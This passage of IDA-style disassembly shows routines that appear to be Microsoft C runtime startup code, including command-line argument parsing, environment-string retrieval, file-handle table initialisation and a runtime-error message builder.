test edx, edx
jz short loc_42F64B
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
cmp [ebp+arg_8], 0
jz short loc_42F642
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42F642: ; CODE XREF: sub_42F4C0+16Dj
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42F64B: ; CODE XREF: sub_42F4C0+15Aj
mov edx, [ebp+var_C]
and edx, 0FFh
cmp edx, 20h
jz short loc_42F677
mov eax, [ebp+var_C]
and eax, 0FFh
test eax, eax
jz short loc_42F677
mov ecx, [ebp+var_C]
and ecx, 0FFh
cmp ecx, 9
jnz loc_42F5CD
loc_42F677: ; CODE XREF: sub_42F4C0+197j
; sub_42F4C0+1A3j
mov edx, [ebp+var_C]
and edx, 0FFh
test edx, edx
jnz short loc_42F68F
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_42F69C
; ---------------------------------------------------------------------------
loc_42F68F: ; CODE XREF: sub_42F4C0+1C2j
cmp [ebp+arg_8], 0
jz short loc_42F69C
mov ecx, [ebp+arg_8]
mov byte ptr [ecx-1], 0
loc_42F69C: ; CODE XREF: sub_42F4C0:loc_42F5C8j
; sub_42F4C0+1CDj ...
mov [ebp+var_14], 0
loc_42F6A3: ; CODE XREF: sub_42F4C0+3F6j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42F6CE
loc_42F6AD: ; CODE XREF: sub_42F4C0+20Cj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42F6C3
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42F6CE
loc_42F6C3: ; CODE XREF: sub_42F4C0+1F6j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_42F6AD
; ---------------------------------------------------------------------------
loc_42F6CE: ; CODE XREF: sub_42F4C0+1EBj
; sub_42F4C0+201j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42F6DD
jmp loc_42F8BB
; ---------------------------------------------------------------------------
loc_42F6DD: ; CODE XREF: sub_42F4C0+216j
cmp [ebp+arg_4], 0
jz short loc_42F6F4
mov edx, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov [edx], eax
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_42F6F4: ; CODE XREF: sub_42F4C0+221j
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_42F701: ; CODE XREF: sub_42F4C0+3CFj
mov [ebp+var_8], 1
mov [ebp+var_10], 0
loc_42F70F: ; CODE XREF: sub_42F4C0+26Cj
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 5Ch
jnz short loc_42F72E
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
jmp short loc_42F70F
; ---------------------------------------------------------------------------
loc_42F72E: ; CODE XREF: sub_42F4C0+258j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 22h
jnz short loc_42F78A
mov eax, [ebp+var_10]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jnz short loc_42F782
cmp [ebp+var_14], 0
jz short loc_42F76F
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 22h
jnz short loc_42F766
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_42F76D
; ---------------------------------------------------------------------------
loc_42F766: ; CODE XREF: sub_42F4C0+299j
mov [ebp+var_8], 0
loc_42F76D: ; CODE XREF: sub_42F4C0+2A4j
jmp short loc_42F776
; ---------------------------------------------------------------------------
loc_42F76F: ; CODE XREF: sub_42F4C0+28Dj
mov [ebp+var_8], 0
loc_42F776: ; CODE XREF: sub_42F4C0:loc_42F76Dj
xor edx, edx
cmp [ebp+var_14], 0
setz dl
mov [ebp+var_14], edx
loc_42F782: ; CODE XREF: sub_42F4C0+287j
mov eax, [ebp+var_10]
shr eax, 1
mov [ebp+var_10], eax
loc_42F78A: ; CODE XREF: sub_42F4C0+277j
; sub_42F4C0+2FCj
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_42F7BE
cmp [ebp+arg_8], 0
jz short loc_42F7AF
mov eax, [ebp+arg_8]
mov byte ptr [eax], 5Ch
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
loc_42F7AF: ; CODE XREF: sub_42F4C0+2DEj
mov edx, [ebp+arg_10]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_10]
mov [ecx], eax
jmp short loc_42F78A
; ---------------------------------------------------------------------------
loc_42F7BE: ; CODE XREF: sub_42F4C0+2D8j
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42F7E4
cmp [ebp+var_14], 0
jnz short loc_42F7E9
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 20h
jz short loc_42F7E4
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 9
jnz short loc_42F7E9
loc_42F7E4: ; CODE XREF: sub_42F4C0+306j
; sub_42F4C0+317j
jmp loc_42F894
; ---------------------------------------------------------------------------
loc_42F7E9: ; CODE XREF: sub_42F4C0+30Cj
; sub_42F4C0+322j
cmp [ebp+var_8], 0
jz loc_42F886
cmp [ebp+arg_8], 0
jz short loc_42F84D
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, ds:byte_4F38E1[eax]
and ecx, 4
test ecx, ecx
jz short loc_42F838
mov edx, [ebp+arg_8]
mov eax, [ebp+var_4]
mov cl, [eax]
mov [edx], cl
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_10]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_10]
mov [eax], edx
loc_42F838: ; CODE XREF: sub_42F4C0+34Dj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_42F879
; ---------------------------------------------------------------------------
loc_42F84D: ; CODE XREF: sub_42F4C0+337j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
xor ecx, ecx
mov cl, ds:byte_4F38E1[eax]
and ecx, 4
test ecx, ecx
jz short loc_42F879
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_42F879: ; CODE XREF: sub_42F4C0+38Bj
; sub_42F4C0+3A1j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
loc_42F886: ; CODE XREF: sub_42F4C0+32Dj
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp loc_42F701
; ---------------------------------------------------------------------------
loc_42F894: ; CODE XREF: sub_42F4C0:loc_42F7E4j
cmp [ebp+arg_8], 0
jz short loc_42F8A9
mov ecx, [ebp+arg_8]
mov byte ptr [ecx], 0
mov edx, [ebp+arg_8]
add edx, 1
mov [ebp+arg_8], edx
loc_42F8A9: ; CODE XREF: sub_42F4C0+3D8j
mov eax, [ebp+arg_10]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_10]
mov [edx], ecx
jmp loc_42F6A3
; ---------------------------------------------------------------------------
loc_42F8BB: ; CODE XREF: sub_42F4C0+218j
cmp [ebp+arg_4], 0
jz short loc_42F8D3
mov eax, [ebp+arg_4]
mov dword ptr [eax], 0
mov ecx, [ebp+arg_4]
add ecx, 4
mov [ebp+arg_4], ecx
loc_42F8D3: ; CODE XREF: sub_42F4C0+3FFj
mov edx, [ebp+arg_C]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_C]
mov [ecx], eax
mov esp, ebp
pop ebp
retn
sub_42F4C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F8F0 proc near ; CODE XREF: _0:004221BEp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov [ebp+var_18], 0
cmp ds:dword_4F3524, 0
jnz short loc_42F94A
call ds:dword_4F531C ; GetEnvironmentStringsW
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_42F928
mov ds:dword_4F3524, 1
jmp short loc_42F94A
; ---------------------------------------------------------------------------
loc_42F928: ; CODE XREF: sub_42F8F0+2Aj
call ds:dword_4F5320 ; GetEnvironmentStrings
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_42F943
mov ds:dword_4F3524, 2
jmp short loc_42F94A
; ---------------------------------------------------------------------------
loc_42F943: ; CODE XREF: sub_42F8F0+45j
xor eax, eax
jmp loc_42FB05
; ---------------------------------------------------------------------------
loc_42F94A: ; CODE XREF: sub_42F8F0+1Bj
; sub_42F8F0+36j ...
cmp ds:dword_4F3524, 1
jnz loc_42FA4E
cmp [ebp+var_14], 0
jnz short loc_42F973
call ds:dword_4F531C ; GetEnvironmentStringsW
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_42F973
xor eax, eax
jmp loc_42FB05
; ---------------------------------------------------------------------------
loc_42F973: ; CODE XREF: sub_42F8F0+6Bj
; sub_42F8F0+7Aj
mov eax, [ebp+var_14]
mov [ebp+var_8], eax
loc_42F979: ; CODE XREF: sub_42F8F0:loc_42F9A3j
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jz short loc_42F9A5
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
test edx, edx
jnz short loc_42F9A3
mov eax, [ebp+var_8]
add eax, 2
mov [ebp+var_8], eax
loc_42F9A3: ; CODE XREF: sub_42F8F0+A8j
jmp short loc_42F979
; ---------------------------------------------------------------------------
loc_42F9A5: ; CODE XREF: sub_42F8F0+93j
mov ecx, [ebp+var_8]
sub ecx, [ebp+var_14]
sar ecx, 1
add ecx, 1
mov [ebp+var_4], ecx
push 0
push 0
push 0
push 0
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_42F9F4
push 64h
push offset dword_43D448
push 2
mov ecx, [ebp+var_10]
push ecx
call sub_41BE70
add esp, 10h
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_42FA05
loc_42F9F4: ; CODE XREF: sub_42F8F0+E4j
mov edx, [ebp+var_14]
push edx
call ds:dword_4F5324 ; FreeEnvironmentStringsW
xor eax, eax
jmp loc_42FB05
; ---------------------------------------------------------------------------
loc_42FA05: ; CODE XREF: sub_42F8F0+102j
push 0
push 0
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+var_14]
push eax
push 0
push 0
call ds:dword_4F5450 ; WideCharToMultiByte
test eax, eax
jnz short loc_42FA3C
push 2
mov ecx, [ebp+var_18]
push ecx
call sub_41CA10
add esp, 8
mov [ebp+var_18], 0
loc_42FA3C: ; CODE XREF: sub_42F8F0+135j
mov edx, [ebp+var_14]
push edx
call ds:dword_4F5324 ; FreeEnvironmentStringsW
mov eax, [ebp+var_18]
jmp loc_42FB05
; ---------------------------------------------------------------------------
loc_42FA4E: ; CODE XREF: sub_42F8F0+61j
cmp ds:dword_4F3524, 2
jnz loc_42FB03
cmp [ebp+var_18], 0
jnz short loc_42FA77
call ds:dword_4F5320 ; GetEnvironmentStrings
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_42FA77
xor eax, eax
jmp loc_42FB05
; ---------------------------------------------------------------------------
loc_42FA77: ; CODE XREF: sub_42F8F0+16Fj
; sub_42F8F0+17Ej
mov eax, [ebp+var_18]
mov [ebp+var_C], eax
loc_42FA7D: ; CODE XREF: sub_42F8F0:loc_42FAA3j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42FAA5
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42FAA3
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_42FAA3: ; CODE XREF: sub_42F8F0+1A8j
jmp short loc_42FA7D
; ---------------------------------------------------------------------------
loc_42FAA5: ; CODE XREF: sub_42F8F0+195j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_10], ecx
push 8Fh
push offset dword_43D448
push 2
mov edx, [ebp+var_10]
push edx
call sub_41BE70
add esp, 10h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42FAE0
mov eax, [ebp+var_18]
push eax
call ds:dword_4F5328 ; FreeEnvironmentStringsA
xor eax, eax
jmp short loc_42FB05
; ---------------------------------------------------------------------------
loc_42FAE0: ; CODE XREF: sub_42F8F0+1E0j
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_18]
push edx
mov eax, [ebp+var_C]
push eax
call sub_41FBF0
add esp, 0Ch
mov ecx, [ebp+var_18]
push ecx
call ds:dword_4F5328 ; FreeEnvironmentStringsA
mov eax, [ebp+var_C]
jmp short loc_42FB05
; ---------------------------------------------------------------------------
loc_42FB03: ; CODE XREF: sub_42F8F0+165j
xor eax, eax
loc_42FB05: ; CODE XREF: sub_42F8F0+55j
; sub_42F8F0+7Ej ...
mov esp, ebp
pop ebp
retn
sub_42F8F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FB10 proc near ; CODE XREF: _0:004221AEp
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_16 = dword ptr -16h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 6Ch
push 81h
push offset dword_43D450
push 2
push 480h
call sub_41BE70
add esp, 10h
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jnz short loc_42FB42
push 1Bh
call sub_422270
add esp, 4
loc_42FB42: ; CODE XREF: sub_42FB10+26j
mov eax, [ebp+var_50]
mov ds:dword_4F36C0, eax
mov ds:dword_4F37C0, 20h
jmp short loc_42FB5F
; ---------------------------------------------------------------------------
loc_42FB56: ; CODE XREF: sub_42FB10+81j
mov ecx, [ebp+var_50]
add ecx, 24h
mov [ebp+var_50], ecx
loc_42FB5F: ; CODE XREF: sub_42FB10+44j
mov edx, ds:dword_4F36C0
add edx, 480h
cmp [ebp+var_50], edx
jnb short loc_42FB93
mov eax, [ebp+var_50]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_50]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_50]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_50]
mov dword ptr [eax+8], 0
jmp short loc_42FB56
; ---------------------------------------------------------------------------
loc_42FB93: ; CODE XREF: sub_42FB10+5Ej
lea ecx, [ebp+var_48]
push ecx
call ds:dword_4F548C ; GetStartupInfoA
mov edx, [ebp+var_16]
and edx, 0FFFFh
test edx, edx
jz loc_42FD35
cmp [ebp+var_16+2], 0
jz loc_42FD35
mov eax, [ebp+var_16+2]
mov ecx, [eax]
mov [ebp+var_64], ecx
mov edx, [ebp+var_16+2]
add edx, 4
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
add eax, [ebp+var_64]
mov [ebp+var_60], eax
cmp [ebp+var_64], 800h
jge short loc_42FBE3
mov ecx, [ebp+var_64]
mov [ebp+var_68], ecx
jmp short loc_42FBEA
; ---------------------------------------------------------------------------
loc_42FBE3: ; CODE XREF: sub_42FB10+C9j
mov [ebp+var_68], 800h
loc_42FBEA: ; CODE XREF: sub_42FB10+D1j
mov edx, [ebp+var_68]
mov [ebp+var_64], edx
mov [ebp+var_5C], 1
jmp short loc_42FC02
; ---------------------------------------------------------------------------
loc_42FBF9: ; CODE XREF: sub_42FB10:loc_42FC9Dj
mov eax, [ebp+var_5C]
add eax, 1
mov [ebp+var_5C], eax
loc_42FC02: ; CODE XREF: sub_42FB10+E7j
mov ecx, ds:dword_4F37C0
cmp ecx, [ebp+var_64]
jge loc_42FCA2
push 0B6h
push offset dword_43D450
push 2
push 480h
call sub_41BE70
add esp, 10h
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jnz short loc_42FC3E
mov edx, ds:dword_4F37C0
mov [ebp+var_64], edx
jmp short loc_42FCA2
; ---------------------------------------------------------------------------
loc_42FC3E: ; CODE XREF: sub_42FB10+121j
mov eax, [ebp+var_5C]
mov ecx, [ebp+var_50]
mov ds:dword_4F36C0[eax*4], ecx
mov edx, ds:dword_4F37C0
add edx, 20h
mov ds:dword_4F37C0, edx
jmp short loc_42FC65
; ---------------------------------------------------------------------------
loc_42FC5C: ; CODE XREF: sub_42FB10+18Bj
mov eax, [ebp+var_50]
add eax, 24h
mov [ebp+var_50], eax
loc_42FC65: ; CODE XREF: sub_42FB10+14Aj
mov ecx, [ebp+var_5C]
mov edx, ds:dword_4F36C0[ecx*4]
add edx, 480h
cmp [ebp+var_50], edx
jnb short loc_42FC9D
mov eax, [ebp+var_50]
mov byte ptr [eax+4], 0
mov ecx, [ebp+var_50]
mov dword ptr [ecx], 0FFFFFFFFh
mov edx, [ebp+var_50]
mov byte ptr [edx+5], 0Ah
mov eax, [ebp+var_50]
mov dword ptr [eax+8], 0
jmp short loc_42FC5C
; ---------------------------------------------------------------------------
loc_42FC9D: ; CODE XREF: sub_42FB10+168j
jmp loc_42FBF9
; ---------------------------------------------------------------------------
loc_42FCA2: ; CODE XREF: sub_42FB10+FBj
; sub_42FB10+12Cj
mov [ebp+var_58], 0
jmp short loc_42FCC6
; ---------------------------------------------------------------------------
loc_42FCAB: ; CODE XREF: sub_42FB10:loc_42FD30j
mov ecx, [ebp+var_58]
add ecx, 1
mov [ebp+var_58], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_60]
add eax, 4
mov [ebp+var_60], eax
loc_42FCC6: ; CODE XREF: sub_42FB10+199j
mov ecx, [ebp+var_58]
cmp ecx, [ebp+var_64]
jge short loc_42FD35
mov edx, [ebp+var_60]
cmp dword ptr [edx], 0FFFFFFFFh
jz short loc_42FD30
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
and ecx, 1
test ecx, ecx
jz short loc_42FD30
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
and eax, 8
test eax, eax
jnz short loc_42FD00
mov ecx, [ebp+var_60]
mov edx, [ecx]
push edx
call ds:dword_4F5314 ; GetFileType
test eax, eax
jz short loc_42FD30
loc_42FD00: ; CODE XREF: sub_42FB10+1DEj
mov eax, [ebp+var_58]
sar eax, 5
mov ecx, [ebp+var_58]
and ecx, 1Fh
imul ecx, 24h
mov edx, ds:dword_4F36C0[eax*4]
add edx, ecx
mov [ebp+var_50], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_60]
mov edx, [ecx]
mov [eax], edx
mov eax, [ebp+var_50]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax+4], dl
loc_42FD30: ; CODE XREF: sub_42FB10+1C4j
; sub_42FB10+1D1j ...
jmp loc_42FCAB
; ---------------------------------------------------------------------------
loc_42FD35: ; CODE XREF: sub_42FB10+98j
; sub_42FB10+A2j ...
mov [ebp+var_58], 0
jmp short loc_42FD47
; ---------------------------------------------------------------------------
loc_42FD3E: ; CODE XREF: sub_42FB10:loc_42FE1Fj
mov eax, [ebp+var_58]
add eax, 1
mov [ebp+var_58], eax
loc_42FD47: ; CODE XREF: sub_42FB10+22Cj
cmp [ebp+var_58], 3
jge loc_42FE24
mov ecx, [ebp+var_58]
imul ecx, 24h
mov edx, ds:dword_4F36C0
add edx, ecx
mov [ebp+var_50], edx
mov eax, [ebp+var_50]
cmp dword ptr [eax], 0FFFFFFFFh
jnz loc_42FE10
mov ecx, [ebp+var_50]
mov byte ptr [ecx+4], 81h
cmp [ebp+var_58], 0
jnz short loc_42FD84
mov [ebp+var_6C], 0FFFFFFF6h
jmp short loc_42FD94
; ---------------------------------------------------------------------------
loc_42FD84: ; CODE XREF: sub_42FB10+269j
mov edx, [ebp+var_58]
sub edx, 1
neg edx
sbb edx, edx
add edx, 0FFFFFFF5h
mov [ebp+var_6C], edx
loc_42FD94: ; CODE XREF: sub_42FB10+272j
mov eax, [ebp+var_6C]
push eax
call ds:dword_4F549C ; GetStdHandle
mov [ebp+var_4C], eax
cmp [ebp+var_4C], 0FFFFFFFFh
jz short loc_42FDFF
mov ecx, [ebp+var_4C]
push ecx
call ds:dword_4F5314 ; GetFileType
mov [ebp+var_54], eax
cmp [ebp+var_54], 0
jz short loc_42FDFF
mov edx, [ebp+var_50]
mov eax, [ebp+var_4C]
mov [edx], eax
mov ecx, [ebp+var_54]
and ecx, 0FFh
cmp ecx, 2
jnz short loc_42FDE0
mov edx, [ebp+var_50]
mov al, [edx+4]
or al, 40h
mov ecx, [ebp+var_50]
mov [ecx+4], al
jmp short loc_42FDFD
; ---------------------------------------------------------------------------
loc_42FDE0: ; CODE XREF: sub_42FB10+2BEj
mov edx, [ebp+var_54]
and edx, 0FFh
cmp edx, 3
jnz short loc_42FDFD
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 8
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42FDFD: ; CODE XREF: sub_42FB10+2CEj
; sub_42FB10+2DCj
jmp short loc_42FE0E
; ---------------------------------------------------------------------------
loc_42FDFF: ; CODE XREF: sub_42FB10+295j
; sub_42FB10+2A8j
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 40h
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42FE0E: ; CODE XREF: sub_42FB10:loc_42FDFDj
jmp short loc_42FE1F
; ---------------------------------------------------------------------------
loc_42FE10: ; CODE XREF: sub_42FB10+258j
mov eax, [ebp+var_50]
mov cl, [eax+4]
or cl, 80h
mov edx, [ebp+var_50]
mov [edx+4], cl
loc_42FE1F: ; CODE XREF: sub_42FB10:loc_42FE0Ej
jmp loc_42FD3E
; ---------------------------------------------------------------------------
loc_42FE24: ; CODE XREF: sub_42FB10+23Bj
mov eax, ds:dword_4F37C0
push eax
call ds:dword_4F5318 ; LockResource
mov esp, ebp
pop ebp
retn
sub_42FB10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov dword ptr [ebp-8], 0
jmp short loc_42FE58
; ---------------------------------------------------------------------------
loc_42FE4F: ; CODE XREF: _0:loc_42FED2j
mov eax, [ebp-8]
add eax, 1
mov [ebp-8], eax
loc_42FE58: ; CODE XREF: _0:0042FE4Dj
cmp dword ptr [ebp-8], 40h
jge short loc_42FED7
mov ecx, [ebp-8]
cmp ds:dword_4F36C0[ecx*4], 0
jz short loc_42FED2
mov edx, [ebp-8]
mov eax, ds:dword_4F36C0[edx*4]
mov [ebp-4], eax
jmp short loc_42FE83
; ---------------------------------------------------------------------------
loc_42FE7A: ; CODE XREF: _0:loc_42FEADj
mov ecx, [ebp-4]
add ecx, 24h
mov [ebp-4], ecx
loc_42FE83: ; CODE XREF: _0:0042FE78j
mov edx, [ebp-8]
mov eax, ds:dword_4F36C0[edx*4]
add eax, 480h
cmp [ebp-4], eax
jnb short loc_42FEAF
mov ecx, [ebp-4]
cmp dword ptr [ecx+8], 0
jz short loc_42FEAD
mov edx, [ebp-4]
add edx, 0Ch
push edx
call ds:dword_4F53B0 ; RtlDeleteCriticalSection
loc_42FEAD: ; CODE XREF: _0:0042FE9Ej
jmp short loc_42FE7A
; ---------------------------------------------------------------------------
loc_42FEAF: ; CODE XREF: _0:0042FE95j
push 2
mov eax, [ebp-8]
mov ecx, ds:dword_4F36C0[eax*4]
push ecx
call sub_41CA10
add esp, 8
mov edx, [ebp-8]
mov ds:dword_4F36C0[edx*4], 0
loc_42FED2: ; CODE XREF: _0:0042FE69j
jmp loc_42FE4F
; ---------------------------------------------------------------------------
loc_42FED7: ; CODE XREF: _0:0042FE5Cj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FEE0 proc near ; CODE XREF: sub_422270+Cp
; sub_4222A0+Cp
push ebp
mov ebp, esp
cmp ds:dword_4F3368, 1
jz short loc_42FEFE
cmp ds:dword_4F3368, 0
jnz short loc_42FF27
cmp ds:dword_451844, 1
jnz short loc_42FF27
loc_42FEFE: ; CODE XREF: sub_42FEE0+Aj
push 0FCh
call sub_42FF30
add esp, 4
cmp ds:dword_4F3528, 0
jz short loc_42FF1A
call ds:dword_4F3528
loc_42FF1A: ; CODE XREF: sub_42FEE0+32j
push 0FFh
call sub_42FF30
add esp, 4
loc_42FF27: ; CODE XREF: sub_42FEE0+13j
; sub_42FEE0+1Cj
pop ebp
retn
sub_42FEE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FF30 proc near ; CODE XREF: sub_422270+15p
; sub_4222A0+15p ...
var_1B0 = byte ptr -1B0h
var_110 = byte ptr -110h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
push edi
mov [ebp+var_8], 0
jmp short loc_42FF4E
; ---------------------------------------------------------------------------
loc_42FF45: ; CODE XREF: sub_42FF30:loc_42FF65j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42FF4E: ; CODE XREF: sub_42FF30+13j
cmp [ebp+var_8], 12h
jnb short loc_42FF67
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
cmp edx, ds:dword_4543B8[ecx*8]
jnz short loc_42FF65
jmp short loc_42FF67
; ---------------------------------------------------------------------------
loc_42FF65: ; CODE XREF: sub_42FF30+31j
jmp short loc_42FF45
; ---------------------------------------------------------------------------
loc_42FF67: ; CODE XREF: sub_42FF30+22j
; sub_42FF30+33j
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_0]
cmp ecx, ds:dword_4543B8[eax*8]
jnz loc_4300E8
cmp [ebp+arg_0], 0FCh
jz short loc_42FFA4
mov edx, [ebp+var_8]
mov eax, ds:off_4543BC[edx*8]
push eax
push 0
push 0
push 0
push 1
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_42FFA4
int 3 ; Trap to Debugger
loc_42FFA4: ; CODE XREF: sub_42FF30+51j
; sub_42FF30+71j
cmp ds:dword_4F3368, 1
jz short loc_42FFBF
cmp ds:dword_4F3368, 0
jnz short loc_42FFF8
cmp ds:dword_451844, 1
jnz short loc_42FFF8
loc_42FFBF: ; CODE XREF: sub_42FF30+7Bj
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, ds:off_4543BC[edx*8]
push eax
call sub_41BC70
add esp, 4
push eax
mov ecx, [ebp+var_8]
mov edx, ds:off_4543BC[ecx*8]
push edx
push 0FFFFFFF4h
call ds:dword_4F549C ; GetStdHandle
push eax
call ds:dword_4F53B4 ; WriteFile
jmp loc_4300E8
; ---------------------------------------------------------------------------
loc_42FFF8: ; CODE XREF: sub_42FF30+84j
; sub_42FF30+8Dj
cmp [ebp+arg_0], 0FCh
jz loc_4300E8
push 104h
lea eax, [ebp+var_110]
push eax
push 0
call ds:off_4F5344
test eax, eax
jnz short loc_430031
push offset aProgramNameUnk ; "<program name unknown>"
lea ecx, [ebp+var_110]
push ecx
call sub_41F620
add esp, 8
loc_430031: ; CODE XREF: sub_42FF30+EBj
lea edx, [ebp+var_110]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
push eax
call sub_41BC70
add esp, 4
add eax, 1
cmp eax, 3Ch
jbe short loc_43007A
lea ecx, [ebp+var_110]
push ecx
call sub_41BC70
add esp, 4
mov edx, [ebp+var_C]
lea eax, [edx+eax-3Bh]
mov [ebp+var_C], eax
push 3
push offset a___ ; "..."
mov ecx, [ebp+var_C]
push ecx
call sub_41E510
add esp, 0Ch
loc_43007A: ; CODE XREF: sub_42FF30+11Cj
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
lea edx, [ebp+var_1B0]
push edx
call sub_41F620
add esp, 8
mov eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_1B0]
push ecx
call sub_41F630
add esp, 8
push offset asc_43CF68 ; "\n\n"
lea edx, [ebp+var_1B0]
push edx
call sub_41F630
add esp, 8
mov eax, [ebp+var_8]
